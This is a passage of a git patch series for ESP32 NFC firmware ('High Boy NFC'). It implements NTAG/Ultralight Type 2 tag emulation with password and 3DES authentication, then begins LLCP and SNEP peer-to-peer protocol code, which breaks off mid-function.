hb_spi_pt_mem_read(rb, 15); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "PT readback fail: %d", err); + return err; + } + ESP_LOGI(TAG, "PT Memory (readback):"); + ESP_LOG_BUFFER_HEX_LEVEL(TAG, rb, 15, ESP_LOG_INFO); + + if (memcmp(ptm, rb, 15) != 0) { + ESP_LOGE(TAG, "PT Memory mismatch!"); + return HB_NFC_ERR_INTERNAL; + } + + if (s_uid_len == 4) { + ESP_LOGI(TAG, "PT OK: UID=%02X%02X%02X%02X ATQA=%02X%02X SAK=%02X", + ptm[0], ptm[1], ptm[2], ptm[3], + ptm[10], ptm[11], ptm[13]); + } else { + ESP_LOGI(TAG, "PT OK: UID=%02X%02X%02X%02X%02X%02X%02X ATQA=%02X%02X SAK=%02X", + ptm[0], ptm[1], ptm[2], ptm[3], ptm[4], ptm[5], ptm[6], + ptm[10], ptm[11], ptm[13]); + } + return HB_NFC_OK; +} + +static void build_memory(const char* text) +{ + memset(s_mem, 0x00, s_mem_size); + + uint8_t bcc0 = 0x88 ^ s_uid[0] ^ s_uid[1] ^ s_uid[2]; + uint8_t bcc1 = s_uid[3] ^ s_uid[4] ^ s_uid[5] ^ s_uid[6]; + + s_mem[0] = s_uid[0]; s_mem[1] = s_uid[1]; + s_mem[2] = s_uid[2]; s_mem[3] = bcc0; + s_mem[4] = s_uid[3]; s_mem[5] = s_uid[4]; + s_mem[6] = s_uid[5]; s_mem[7] = s_uid[6]; + s_mem[8] = bcc1; s_mem[9] = 0x48; + + s_mem[12] = 0xE1; s_mem[13] = 0x10; s_mem[14] = s_prof.cc_size; s_mem[15] = 0x00; + + if (s_prof.supports_pwd) { + if (s_prof.cfg_page < s_page_count) { + size_t off = (size_t)s_prof.cfg_page * T2T_PAGE_SIZE; + if (off + 3 < s_mem_size) { + s_mem[off + 2] = s_auth0; + s_mem[off + 3] = s_access; + } + } + if (s_prof.pwd_page < s_page_count) { + size_t off = (size_t)s_prof.pwd_page * T2T_PAGE_SIZE; + memcpy(&s_mem[off], s_pwd, sizeof(s_pwd)); + } + if (s_prof.pack_page < s_page_count) { + size_t off = (size_t)s_prof.pack_page * T2T_PAGE_SIZE; + s_mem[off] = s_pack[0]; + s_mem[off + 1] = s_pack[1]; + } + } + + if (s_prof.supports_ulc_auth) { + uint16_t key_page = (s_prof.total_pages >= 4) ? (s_prof.total_pages - 4) : 0; + if (key_page + 3 < s_page_count) { + size_t off = (size_t)key_page * T2T_PAGE_SIZE; + memcpy(&s_mem[off], s_ulc_key, sizeof(s_ulc_key)); + } + } + + if (!text || !text[0]) return; + + int tl = (int)strlen(text); + int pl = 1 + 2 + tl; + int rl = 4 + pl; + int max_user = (int)((s_prof.user_end - s_prof.user_start + 1) * T2T_PAGE_SIZE); + if (2 + rl + 1 > max_user) { + ESP_LOGW(TAG, "NDEF too long"); + return; + } + + int p = (int)(s_prof.user_start * T2T_PAGE_SIZE); + s_mem[p++] = 0x03; s_mem[p++] = (uint8_t)rl; + s_mem[p++] = 0xD1; s_mem[p++] = 0x01; s_mem[p++] = (uint8_t)pl; s_mem[p++] = 'T'; + s_mem[p++] = 0x02; s_mem[p++] = 'p'; s_mem[p++] = 't'; + memcpy(&s_mem[p], text, (size_t)tl); p += tl; + s_mem[p] = 0xFE; +} + +hb_nfc_err_t t2t_emu_init(const t2t_emu_config_t* cfg) +{ + if (!cfg) return HB_NFC_ERR_PARAM; + + const t2t_profile_t* prof = profile_for_type(cfg->type); + if (!prof) return HB_NFC_ERR_PARAM; + + s_prof = *prof; + s_page_count = s_prof.total_pages; + s_mem_size = s_page_count * T2T_PAGE_SIZE; + if (s_mem_size > T2T_MEM_SIZE) return HB_NFC_ERR_INTERNAL; + + if (cfg->uid_len == 7) { + memcpy(s_uid, cfg->uid, 7); + s_uid_len = 7; + } else { + memcpy(s_uid, k_uid7_default, sizeof(k_uid7_default)); + s_uid_len = 7; + } + + s_pwd_enabled = cfg->enable_pwd && s_prof.supports_pwd; + if (s_pwd_enabled) { + memcpy(s_pwd, cfg->pwd, sizeof(s_pwd)); + memcpy(s_pack, cfg->pack, sizeof(s_pack)); + s_auth0 = cfg->auth0; + s_access = cfg->access; + } else { + memset(s_pwd, 0x00, sizeof(s_pwd)); + memset(s_pack, 0x00, sizeof(s_pack)); + s_auth0 = 0xFF; + s_access = 0x00; + } + + s_ulc_auth_enabled = cfg->enable_ulc_auth && s_prof.supports_ulc_auth; + if (s_prof.supports_ulc_auth) { + if (s_ulc_auth_enabled) memcpy(s_ulc_key, cfg->ulc_key, sizeof(s_ulc_key)); + else memset(s_ulc_key, 0x00, sizeof(s_ulc_key)); + } else { + memset(s_ulc_key, 0x00, sizeof(s_ulc_key)); + } + + build_memory(cfg->ndef_text); + + s_state = T2T_STATE_SLEEP; + s_init_done = true; + t2t_reset_auth(); + + ESP_LOGI(TAG, "T2T init: type=%d pages=%u UID=%02X%02X%02X%02X%02X%02X%02X", + (int)s_prof.type, s_page_count, + s_uid[0], s_uid[1], s_uid[2], s_uid[3], + s_uid[4], s_uid[5], s_uid[6]); + return HB_NFC_OK; +} + +hb_nfc_err_t t2t_emu_init_default(void) +{ + t2t_emu_config_t cfg = { 0 }; + cfg.type = T2T_TAG_NTAG213; + cfg.ndef_text = "High Boy NFC"; + memcpy(cfg.uid, k_uid7_default, sizeof(k_uid7_default)); + cfg.uid_len = 7; + cfg.enable_pwd = false; + cfg.auth0 = 0xFF; + cfg.access = 0x00; + cfg.enable_ulc_auth = false; + return t2t_emu_init(&cfg); +} + +hb_nfc_err_t t2t_emu_configure_target(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + + ESP_LOGI(TAG, "T2T configure target"); + + hb_spi_reg_write(REG_OP_CTRL, 0x00); + vTaskDelay(pdMS_TO_TICKS(5)); + hb_spi_direct_cmd(CMD_SET_DEFAULT); + vTaskDelay(pdMS_TO_TICKS(10)); + + + hb_spi_reg_write(0x04, 0x10); + vTaskDelay(pdMS_TO_TICKS(2)); + + uint8_t ic = 0; + hb_spi_reg_read(REG_IC_IDENTITY, &ic); + if (ic == 0x00 || ic == 0xFF) { + ESP_LOGE(TAG, "Chip not responding: IC=0x%02X", ic); + return HB_NFC_ERR_INTERNAL; + } + ESP_LOGI(TAG, "Chip OK: IC=0x%02X", ic); + + + hb_spi_reg_write(REG_IO_CONF2, 0x80); + vTaskDelay(pdMS_TO_TICKS(2)); + + + hb_spi_reg_write(REG_OP_CTRL, 0x80); + wait_oscillator(200); + + hb_spi_direct_cmd(CMD_ADJUST_REGULATORS); + vTaskDelay(pdMS_TO_TICKS(10)); + + + + hb_spi_reg_write(REG_MODE, 0x88); + + + + hb_spi_reg_write(REG_AUX_DEF, (s_uid_len == 7) ? 0x10 : 0x00); + + hb_spi_reg_write(REG_BIT_RATE, 0x00); + hb_spi_reg_write(REG_ISO14443A, 0x00); + hb_spi_reg_write(REG_PASSIVE_TARGET, 0x00); + + + hb_spi_reg_write(REG_FIELD_THRESH_ACT, 0x00); + hb_spi_reg_write(REG_FIELD_THRESH_DEACT, 0x00); + + + + hb_spi_reg_write(REG_PT_MOD, 0x60); + + hb_nfc_err_t err = load_pt_memory(); + if (err != HB_NFC_OK) return err; + + + st25r_irq_read(); + + + hb_spi_reg_write(REG_MASK_MAIN_INT, 0x00); + hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0x00); + hb_spi_reg_write(REG_MASK_ERROR_WUP_INT, 0x00); + hb_spi_reg_write(REG_MASK_TARGET_INT, 0x00); + + + uint8_t mode_rb = 0, aux_rb = 0; + hb_spi_reg_read(REG_MODE, &mode_rb); + hb_spi_reg_read(REG_AUX_DEF, &aux_rb); + if (mode_rb != 0x88) { + ESP_LOGE(TAG, "MODE readback mismatch: 0x%02X (expected 0x88)", mode_rb); + return HB_NFC_ERR_INTERNAL; + } + ESP_LOGI(TAG, "Regs OK: MODE=0x%02X AUX=0x%02X", mode_rb, aux_rb); + ESP_LOGI(TAG, "T2T target configured"); + return HB_NFC_OK; +} +/** + * Activate emulation: enter SLEEP (not SENSE). + * + * Correct flow: + * CMD_GOTO_SLEEP: chip stays low power and monitors field via EFD + * WU_A triggers run_step, which sends CMD_GOTO_SENSE + * REQA received: hardware replies automatically via PT Memory + * SDD_C triggers tag selected, software handles commands + * + * CMD_GOTO_SLEEP + en_fd=11 is the only way for the `efd` bit and WU_A IRQ + * to work on the ST25R3916. In SENSE, the chip does not monitor field via EFD. + */ +hb_nfc_err_t t2t_emu_start(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + + st25r_irq_read(); + + hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_TARGET); + vTaskDelay(pdMS_TO_TICKS(5)); + + + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + vTaskDelay(pdMS_TO_TICKS(2)); + + s_state = T2T_STATE_SLEEP; + t2t_reset_auth(); + + uint8_t op = 0, aux = 0, pts = 0; + hb_spi_reg_read(REG_OP_CTRL, &op); + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pts); + ESP_LOGI(TAG, "Start (SLEEP): OP=0x%02X AUX=0x%02X PT_STS=0x%02X", + op, aux, pts); + ESP_LOGI(TAG, "T2T emulation active - present the phone!"); + ESP_LOGI(TAG, "In SLEEP: efd should rise when external field is detected."); + return HB_NFC_OK; +} + +void t2t_emu_stop(void) +{ + hb_spi_reg_write(REG_OP_CTRL, 0x00); + s_state = T2T_STATE_SLEEP; + s_init_done = false; + t2t_reset_auth(); + ESP_LOGI(TAG, "T2T emulation stopped"); +} + +uint8_t* t2t_emu_get_mem(void) { return s_mem; } + +static void tx_with_crc(const uint8_t* data, int len) +{ + if (!data || len <= 0) return; + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)len, 0); + st25r_fifo_load(data, (size_t)len); + hb_spi_direct_cmd(CMD_TX_WITH_CRC); +} + +static void tx_4bit_nack(uint8_t code) +{ + uint8_t v = code & 0x0F; + st25r_fifo_clear(); + st25r_set_tx_bytes(0, 4); + st25r_fifo_load(&v, 1); + hb_spi_direct_cmd(CMD_TX_WO_CRC); +} + +static int rx_poll(uint8_t* buf, int max, uint8_t main_irq) +{ + if (main_irq & 0x02) return -1; + if (!(main_irq & IRQ_MAIN_RXE)) return 0; + uint8_t fs1 = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + int n = fs1 & 0x7F; + if (n == 0) return 0; + if (n > max) n = max; + hb_spi_fifo_read(buf, (uint8_t)n); + return n; +} + +static void tx_ack(void) +{ + uint8_t ack = T2T_ACK; + st25r_fifo_clear(); + st25r_set_tx_bytes(0, 4); + st25r_fifo_load(&ack, 1); + hb_spi_direct_cmd(CMD_TX_WO_CRC); +} + +static bool write_page_internal(uint8_t page, const uint8_t* data) +{ + if (page >= s_page_count) return false; + if (page < 2) return false; + + if (page == 2) { + size_t off = (size_t)page * T2T_PAGE_SIZE; + s_mem[off + 2] |= data[2]; + s_mem[off + 3] |= data[3]; + return true; + } + + if (page == s_prof.dyn_lock_page) { + size_t off = (size_t)page * T2T_PAGE_SIZE; + s_mem[off] |= data[0]; + s_mem[off + 1] |= data[1]; + return true; + } + + if (!can_write_page(page)) return false; + + size_t off = (size_t)page * T2T_PAGE_SIZE; + if (page == 3) { + otp_write_bytes(&s_mem[off], data, T2T_PAGE_SIZE); + } else { + memcpy(&s_mem[off], data, T2T_PAGE_SIZE); + } + return true; +} + +static void handle_read(uint8_t page) +{ + if (page + 3 >= s_page_count) { tx_4bit_nack(0x00); return; } + for (uint8_t p = page; p < page + 4; p++) { + if (!can_read_page(p)) { tx_4bit_nack(0x00); return; } + } + + uint8_t resp[16]; + for (int i = 0; i < 16; i++) { + resp[i] = s_mem[(page + (i / 4)) * T2T_PAGE_SIZE + (i % 4)]; + } + ESP_LOGI(TAG, "READ pg=%d %02X %02X %02X %02X", page, resp[0], resp[1], resp[2], resp[3]); + tx_with_crc(resp, 16); +} + +static void handle_fast_read(uint8_t start, uint8_t end) +{ + if (end < start || end >= s_page_count) { tx_4bit_nack(0x00); return; } + + uint16_t pages = (uint16_t)(end - start + 1); + uint16_t len = pages * T2T_PAGE_SIZE; + if (len > 256) { tx_4bit_nack(0x00); return; } + + uint8_t resp[256]; + uint16_t pos = 0; + for (uint16_t p = start; p <= end; p++) { + if (!can_read_page((uint8_t)p)) { tx_4bit_nack(0x00); return; } + memcpy(&resp[pos], &s_mem[p * T2T_PAGE_SIZE], T2T_PAGE_SIZE); + pos += T2T_PAGE_SIZE; + } + tx_with_crc(resp, (int)len); +} + +static void handle_write(uint8_t page, const uint8_t* data) +{ + if (!write_page_internal(page, data)) { tx_4bit_nack(0x00); return; } + ESP_LOGI(TAG, "WRITE pg=%d: %02X %02X %02X %02X", page, data[0], data[1], data[2], data[3]); + tx_ack(); +} + +static void handle_comp_write_start(uint8_t page) +{ + if (page >= s_page_count) { tx_4bit_nack(0x00); return; } + s_comp_write_pending = true; + s_comp_write_page = page; + tx_ack(); +} + +static void handle_comp_write_data(const uint8_t* data, int len) +{ + if (!s_comp_write_pending) return; + s_comp_write_pending = false; + + if (len < 16) { tx_4bit_nack(0x00); return; } + for (int i = 0; i < 4; i++) { + uint8_t page = (uint8_t)(s_comp_write_page + i); + if (page >= s_page_count) { tx_4bit_nack(0x00); return; } + if (page != 2 && page != s_prof.dyn_lock_page && !can_write_page(page)) { + tx_4bit_nack(0x00); + return; + } + } + for (int i = 0; i < 4; i++) { + if (!write_page_internal((uint8_t)(s_comp_write_page + i), &data[i * 4])) { + tx_4bit_nack(0x00); + return; + } + } + tx_ack(); +} + +static void handle_get_version(void) +{ + if (!s_prof.supports_get_version) { tx_4bit_nack(0x00); return; } + tx_with_crc(s_prof.version, sizeof(s_prof.version)); +} + +static void handle_pwd_auth(const uint8_t* cmd, int len) +{ + if (!s_prof.supports_pwd || !s_pwd_enabled) { tx_4bit_nack(0x00); return; } + if (len < 5) { tx_4bit_nack(0x00); return; } + + if (memcmp(&cmd[1], s_pwd, 4) == 0) { + s_authenticated = true; + uint8_t resp[2] = { s_pack[0], s_pack[1] }; + tx_with_crc(resp, 2); + return; + } + s_authenticated = false; + tx_4bit_nack(0x00); +} + +static void handle_ulc_auth_start(void) +{ + if (!s_prof.supports_ulc_auth || !s_ulc_auth_enabled) { tx_4bit_nack(0x00); return; } + ulc_random(s_ulc_rndb, sizeof(s_ulc_rndb)); + uint8_t iv[8] = { 0 }; + uint8_t enc[8] = { 0 }; + if (!des3_cbc_crypt(true, s_ulc_key, iv, s_ulc_rndb, sizeof(s_ulc_rndb), enc, s_ulc_last_iv)) { + tx_4bit_nack(0x00); + return; + } + s_ulc_state = ULC_AUTH_WAIT; + tx_with_crc(enc, sizeof(enc)); +} + +static void handle_ulc_auth_step2(const uint8_t* data, int len) +{ + if (len < 16) { tx_4bit_nack(0x00); s_ulc_state = ULC_AUTH_IDLE; return; } + + uint8_t plain[16] = { 0 }; + if (!des3_cbc_crypt(false, s_ulc_key, s_ulc_last_iv, data, 16, plain, NULL)) { + tx_4bit_nack(0x00); + s_ulc_state = ULC_AUTH_IDLE; + return; + } + + uint8_t rndb_rot[8]; + rotate_left_8(rndb_rot, s_ulc_rndb); + if (memcmp(&plain[8], rndb_rot, 8) != 0) { + tx_4bit_nack(0x00); + s_ulc_state = ULC_AUTH_IDLE; + return; + } + + uint8_t rnda_rot[8]; + rotate_left_8(rnda_rot, plain); + uint8_t iv_enc[8]; + memcpy(iv_enc, &data[8], 8); + uint8_t enc[8] = { 0 }; + if (!des3_cbc_crypt(true, s_ulc_key, iv_enc, rnda_rot, 8, enc, NULL)) { + tx_4bit_nack(0x00); + s_ulc_state = ULC_AUTH_IDLE; + return; + } + + s_authenticated = true; + s_ulc_state = ULC_AUTH_IDLE; + tx_with_crc(enc, sizeof(enc)); +} + +void t2t_emu_run_step(void) +{ + uint8_t tgt_irq = 0; + uint8_t main_irq = 0; + uint8_t timer_irq = 0; + + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + + uint8_t pts = 0; + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pts); + uint8_t pta_state = pts & 0x0F; + + + if (s_state == T2T_STATE_SLEEP) { + if (pta_state == 0x01 || pta_state == 0x02 || pta_state == 0x03 || + (tgt_irq & IRQ_TGT_WU_A)) { + ESP_LOGI(TAG, "SLEEP SENSE (pta=%d)", pta_state); + s_state = T2T_STATE_SENSE; + hb_spi_direct_cmd(CMD_GOTO_SENSE); + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + } + return; + } + + + if (s_state == T2T_STATE_SENSE) { + if (pta_state == 0x05 || pta_state == 0x0D || + (tgt_irq & IRQ_TGT_SDD_C)) { + ESP_LOGI(TAG, "SENSE ACTIVE (pta=%d)", pta_state); + s_state = T2T_STATE_ACTIVE; + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + if (!(main_irq & 0x10)) return; + } else if (timer_irq & 0x08) { + ESP_LOGI(TAG, "SENSE: field lost SLEEP"); + s_state = T2T_STATE_SLEEP; + t2t_reset_auth(); + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + return; + } else if (!tgt_irq && !main_irq && !timer_irq) { + static uint32_t idle_sense = 0; + if ((++idle_sense % 500U) == 0U) { + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGI(TAG, "[SENSE] AUX=0x%02X pta=%d", aux, pta_state); + } + return; + } + if (s_state != T2T_STATE_ACTIVE) return; + } + + + + + if (timer_irq & 0x08) { + ESP_LOGI(TAG, "ACTIVE: field lost SLEEP"); + s_state = T2T_STATE_SLEEP; + t2t_reset_auth(); + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + return; + } + + + if (!tgt_irq && !main_irq && !timer_irq) { + static uint32_t idle_active = 0; + if ((++idle_active % 500U) == 0U) { + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGI(TAG, "[ACTIVE] AUX=0x%02X pta=%d", aux, pta_state); + } + return; + } + + + if (!(main_irq & 0x10)) return; + + uint8_t buf[32] = { 0 }; + + + uint8_t fs1 = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + int n = fs1 & 0x7F; + if (n <= 0) return; + if (n > (int)sizeof(buf)) n = (int)sizeof(buf); + hb_spi_fifo_read(buf, (uint8_t)n); + int len = n; + + ESP_LOGI(TAG, "CMD: 0x%02X len=%d", buf[0], len); + + if (s_comp_write_pending) { + handle_comp_write_data(buf, len); + return; + } + + if (s_ulc_state == ULC_AUTH_WAIT) { + handle_ulc_auth_step2(buf, len); + return; + } + + switch (buf[0]) { + case T2T_CMD_READ: + if (len >= 2) handle_read(buf[1]); + else tx_4bit_nack(0x00); + break; + case T2T_CMD_WRITE: + if (len >= 6) handle_write(buf[1], &buf[2]); + else tx_4bit_nack(0x00); + break; + case T2T_CMD_COMP_WRITE: + if (len >= 2) handle_comp_write_start(buf[1]); + else tx_4bit_nack(0x00); + break; + case T2T_CMD_GET_VERSION: + handle_get_version(); + break; + case T2T_CMD_FAST_READ: + if (len >= 3) handle_fast_read(buf[1], buf[2]); + else tx_4bit_nack(0x00); + break; + case T2T_CMD_PWD_AUTH: + handle_pwd_auth(buf, len); + break; + case T2T_CMD_ULC_AUTH: + handle_ulc_auth_start(); + break; + case T2T_CMD_HALT: + ESP_LOGI(TAG, "HALT SLEEP"); + s_state = T2T_STATE_SLEEP; + t2t_reset_auth(); + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + break; + default: + ESP_LOGW(TAG, "Cmd unknown: 0x%02X", buf[0]); + tx_4bit_nack(0x00); + break; + } +} From 9209c83bc9a1d9d33b45c993510b0d9fd34a7e14 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:13:16 -0300 Subject: [PATCH 36/61] feat(nfc): add LLCP and SNEP for NFC peer-to-peer --- .../nfc/protocols/llcp/include/llcp.h | 105 ++++ .../nfc/protocols/llcp/include/snep.h | 40 ++ .../Applications/nfc/protocols/llcp/llcp.c | 538 ++++++++++++++++++ .../Applications/nfc/protocols/llcp/snep.c | 229 ++++++++ 4 files changed, 912 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/llcp/include/llcp.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/llcp/include/snep.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/llcp/llcp.c create mode 100644 firmware_p4/components/Applications/nfc/protocols/llcp/snep.c diff --git a/firmware_p4/components/Applications/nfc/protocols/llcp/include/llcp.h b/firmware_p4/components/Applications/nfc/protocols/llcp/include/llcp.h new file mode 100644 index 00000000..3770963c --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/llcp/include/llcp.h @@ -0,0 +1,105 @@ +/** + * @file llcp.h + * @brief LLCP (Logical Link Control Protocol) over NFC-DEP. + */ +#ifndef LLCP_H +#define LLCP_H + +#include +#include +#include +#include "highboy_nfc_error.h" + +#define LLCP_MAGIC_0 0x46U +#define LLCP_MAGIC_1 0x66U +#define LLCP_MAGIC_2 0x6DU + +/* LLCP PTYPE values */ +#define LLCP_PTYPE_SYMM 0x0U +#define LLCP_PTYPE_PAX 0x1U +#define LLCP_PTYPE_AGF 0x2U +#define LLCP_PTYPE_UI 0x3U +#define LLCP_PTYPE_CONNECT 0x4U +#define LLCP_PTYPE_DISC 0x5U +#define LLCP_PTYPE_CC 0x6U +#define LLCP_PTYPE_DM 0x7U +#define LLCP_PTYPE_FRMR 0x8U +#define LLCP_PTYPE_SNL 0x9U +#define LLCP_PTYPE_I 0xCU +#define LLCP_PTYPE_RR 0xDU +#define LLCP_PTYPE_RNR 0xEU + +/* LLCP TLV types */ +#define LLCP_TLV_VERSION 0x01U +#define LLCP_TLV_MIUX 0x02U +#define LLCP_TLV_WKS 0x03U +#define LLCP_TLV_LTO 0x04U +#define LLCP_TLV_RW 0x05U +#define LLCP_TLV_SN 0x06U +#define LLCP_TLV_OPT 0x07U + +typedef struct { + uint8_t version_major; + uint8_t version_minor; + uint16_t miu; /* Maximum Information Unit */ + uint16_t wks; /* Well-Known Services bitmap */ + uint16_t lto_ms; /* Link Timeout in ms */ + uint8_t rw; /* Receive window */ +} llcp_params_t; + +typedef struct { + uint8_t nfcid3[10]; + uint8_t did; + uint8_t bs; + uint8_t br; + uint8_t pp; + uint8_t to; + uint16_t lr; + uint16_t rwt_ms; + uint8_t pni; + llcp_params_t local; + llcp_params_t remote; + llcp_params_t negotiated; + bool llcp_active; +} llcp_link_t; + +void llcp_params_default(llcp_params_t* params); +void llcp_link_init(llcp_link_t* link); +size_t llcp_build_gt(const llcp_params_t* params, uint8_t* out, size_t max); +bool llcp_parse_gt(const uint8_t* gt, size_t gt_len, llcp_params_t* out); + +hb_nfc_err_t llcp_initiator_activate(llcp_link_t* link); +int llcp_exchange_pdu(llcp_link_t* link, + const uint8_t* tx_pdu, size_t tx_len, + uint8_t* rx_pdu, size_t rx_max, + int timeout_ms); + +size_t llcp_build_header(uint8_t dsap, uint8_t ptype, uint8_t ssap, uint8_t* out, size_t max); +bool llcp_parse_header(const uint8_t* pdu, size_t len, + uint8_t* dsap, uint8_t* ptype, uint8_t* ssap, + uint8_t* ns, uint8_t* nr); + +size_t llcp_build_symm(uint8_t* out, size_t max); +size_t llcp_build_ui(uint8_t dsap, uint8_t ssap, + const uint8_t* info, size_t info_len, + uint8_t* out, size_t max); +size_t llcp_build_connect(uint8_t dsap, uint8_t ssap, const char* service_name, + const llcp_params_t* params, uint8_t* out, size_t max); +size_t llcp_build_cc(uint8_t dsap, uint8_t ssap, + const llcp_params_t* params, uint8_t* out, size_t max); +size_t llcp_build_disc(uint8_t dsap, uint8_t ssap, uint8_t* out, size_t max); +size_t llcp_build_dm(uint8_t dsap, uint8_t ssap, uint8_t reason, uint8_t* out, size_t max); +size_t llcp_build_i(uint8_t dsap, uint8_t ssap, uint8_t ns, uint8_t nr, + const uint8_t* info, size_t info_len, + uint8_t* out, size_t max); +size_t llcp_build_rr(uint8_t dsap, uint8_t ssap, uint8_t nr, uint8_t* out, size_t max); +size_t llcp_build_rnr(uint8_t dsap, uint8_t ssap, uint8_t nr, uint8_t* out, size_t max); + +size_t llcp_tlv_version(uint8_t* out, size_t max, uint8_t version); +size_t llcp_tlv_miux(uint8_t* out, size_t max, uint16_t miux); +size_t llcp_tlv_wks(uint8_t* out, size_t max, uint16_t wks); +size_t llcp_tlv_lto(uint8_t* out, size_t max, uint8_t lto); +size_t llcp_tlv_rw(uint8_t* out, size_t max, uint8_t rw); +size_t llcp_tlv_sn(uint8_t* out, size_t max, const char* sn); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/llcp/include/snep.h b/firmware_p4/components/Applications/nfc/protocols/llcp/include/snep.h new file mode 100644 index 00000000..a236594b --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/llcp/include/snep.h @@ -0,0 +1,40 @@ +/** + * @file snep.h + * @brief SNEP (Simple NDEF Exchange Protocol) client helpers. + */ +#ifndef SNEP_H +#define SNEP_H + +#include +#include +#include "highboy_nfc_error.h" +#include "llcp.h" + +#define SNEP_VERSION_1_0 0x10U + +#define SNEP_REQ_GET 0x01U +#define SNEP_REQ_PUT 0x02U + +#define SNEP_RES_SUCCESS 0x81U +#define SNEP_RES_CONTINUE 0x80U +#define SNEP_RES_NOT_FOUND 0xC0U +#define SNEP_RES_EXCESS_DATA 0xC1U +#define SNEP_RES_BAD_REQUEST 0xC2U +#define SNEP_RES_NOT_IMPLEMENTED 0xE0U +#define SNEP_RES_UNSUPPORTED_VER 0xE1U +#define SNEP_RES_REJECT 0xFFU + +const char* snep_resp_str(uint8_t code); + +hb_nfc_err_t snep_client_put(llcp_link_t* link, + const uint8_t* ndef, size_t ndef_len, + uint8_t* resp_code, + int timeout_ms); + +hb_nfc_err_t snep_client_get(llcp_link_t* link, + const uint8_t* req_ndef, size_t req_len, + uint8_t* out, size_t out_max, size_t* out_len, + uint8_t* resp_code, + int timeout_ms); + +#endif /* SNEP_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/llcp/llcp.c b/firmware_p4/components/Applications/nfc/protocols/llcp/llcp.c new file mode 100644 index 00000000..71251233 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/llcp/llcp.c @@ -0,0 +1,538 @@ +/** + * @file llcp.c + * @brief LLCP (Logical Link Control Protocol) over NFC-DEP (best-effort). + */ +#include "llcp.h" + +#include +#include "esp_log.h" +#include "esp_random.h" + +#include "nfc_poller.h" +#include "nfc_rf.h" +#include "nfc_common.h" +#include "iso14443a.h" +#include "st25r3916_core.h" + +#define TAG "llcp" + +#define NFCDEP_CMD0_REQ 0xD4U +#define NFCDEP_CMD0_RES 0xD5U +#define NFCDEP_CMD1_ATR_REQ 0x00U +#define NFCDEP_CMD1_ATR_RES 0x01U +#define NFCDEP_CMD1_DEP_REQ 0x06U +#define NFCDEP_CMD1_DEP_RES 0x07U + +#define NFCDEP_PFB_PNI_MASK 0x03U +#define NFCDEP_PFB_DID 0x04U +#define NFCDEP_PFB_NAD 0x08U +#define NFCDEP_PFB_MI 0x10U + +static int llcp_strip_crc(uint8_t* buf, int len) +{ + if (len >= 3 && iso14443a_check_crc(buf, (size_t)len)) return len - 2; + return len; +} + +static uint16_t llcp_rwt_ms(uint8_t to) +{ + uint32_t us = 302U * (1U << (to & 0x0FU)); + uint32_t ms = (us + 999U) / 1000U; + if (ms < 5U) ms = 5U; + return (uint16_t)ms; +} + +static uint16_t llcp_lr_from_pp(uint8_t pp) +{ + if ((pp & 0x40U) == 0) return 64U; + switch ((pp >> 4) & 0x03U) { + case 0: return 64U; + case 1: return 128U; + case 2: return 192U; + default: return 254U; + } +} + +static uint8_t llcp_pp_from_miu(uint16_t miu) +{ + uint8_t lr_bits = 0; + if (miu > 192U) lr_bits = 3; + else if (miu > 128U) lr_bits = 2; + else if (miu > 64U) lr_bits = 1; + else lr_bits = 0; + return (uint8_t)(0x40U | (lr_bits << 4)); +} + +void llcp_params_default(llcp_params_t* params) +{ + if (!params) return; + params->version_major = 1; + params->version_minor = 1; + params->miu = 248U; + params->wks = 0x0013U; /* Link Mgmt + SDP + SNEP */ + params->lto_ms = 1000U; + params->rw = 4; +} + +void llcp_link_init(llcp_link_t* link) +{ + if (!link) return; + memset(link, 0, sizeof(*link)); + llcp_params_default(&link->local); + llcp_params_default(&link->remote); + llcp_params_default(&link->negotiated); + + for (int i = 0; i < 10; i++) { + uint32_t r = esp_random(); + link->nfcid3[i] = (uint8_t)(r & 0xFFU); + } + + link->did = 0; + link->bs = 0; + link->br = 0; + link->pp = llcp_pp_from_miu(link->local.miu); + link->lr = llcp_lr_from_pp(link->pp); + link->pni = 0; + link->llcp_active = false; +} + +size_t llcp_tlv_version(uint8_t* out, size_t max, uint8_t version) +{ + if (!out || max < 3U) return 0; + out[0] = LLCP_TLV_VERSION; + out[1] = 1U; + out[2] = version; + return 3U; +} + +size_t llcp_tlv_miux(uint8_t* out, size_t max, uint16_t miux) +{ + if (!out || max < 4U) return 0; + uint16_t v = (uint16_t)(miux & 0x07FFU); + out[0] = LLCP_TLV_MIUX; + out[1] = 2U; + out[2] = (uint8_t)((v >> 8) & 0xFFU); 